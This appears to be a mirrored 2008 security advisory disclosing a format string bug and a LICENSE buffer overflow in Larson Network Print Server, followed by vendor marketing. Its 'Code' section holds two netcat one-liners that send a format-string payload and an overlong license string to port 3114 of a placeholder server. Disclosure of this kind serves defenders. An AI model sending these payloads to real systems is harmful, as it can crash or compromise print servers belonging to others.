Lucene search
K

larson-poc.txt

🗓️ 11 Feb 2008 00:00:00Reported by Luigi AuriemmaType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 18 Views

Larson software technology network print server <= 9.4.2 build 105, Windows, remote exploitation, format string and license buffer-overflow vulnerabilitie

Code
`  
#######################################################################  
  
Luigi Auriemma  
  
Application: Larson Software Technology Network Print Server  
http://www.cgmlarson.com/products/NetworkPrintServer.php  
Versions: <= 9.4.2 build 105  
Platforms: Windows  
Bugs: A] format string in logging  
B] license buffer-overflow  
Exploitation: remote  
Date: 11 Feb 2008  
Author: Luigi Auriemma  
e-mail: [email protected]  
web: aluigi.org  
  
  
#######################################################################  
  
  
1) Introduction  
2) Bugs  
3) The Code  
4) Fix  
  
  
#######################################################################  
  
===============  
1) Introduction  
===============  
  
  
LstNPS is a CGM print server for Windows.  
  
  
#######################################################################  
  
=======  
2) Bugs  
=======  
  
---------------------------  
A] format string in logging  
---------------------------  
  
The server is affected by a format string vulnerability located in the  
logging functions (by default enabled and set on "Information") which  
passes the log message directly to vsnprintf without the format  
argument.  
  
  
--------------------------  
B] license buffer-overflow  
--------------------------  
  
The LICENSE command handled by the server leads to a buffer-overflow  
vulnerability when a license string longer than 128 bytes is copied in  
a stack buffer using strncpy in the wrong way.  
  
  
#######################################################################  
  
===========  
3) The Code  
===========  
  
  
A]  
echo USEP %n%n%n%s%s%s|nc SERVER 3114 -v -v  
  
B]  
echo LICENSE aaaaa...160...aaaaa|nc SERVER 3114 -v -v  
  
  
#######################################################################  
  
======  
4) Fix  
======  
  
  
No Fix  
  
  
#######################################################################  
  
  
---   
Luigi Auriemma  
http://aluigi.org  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation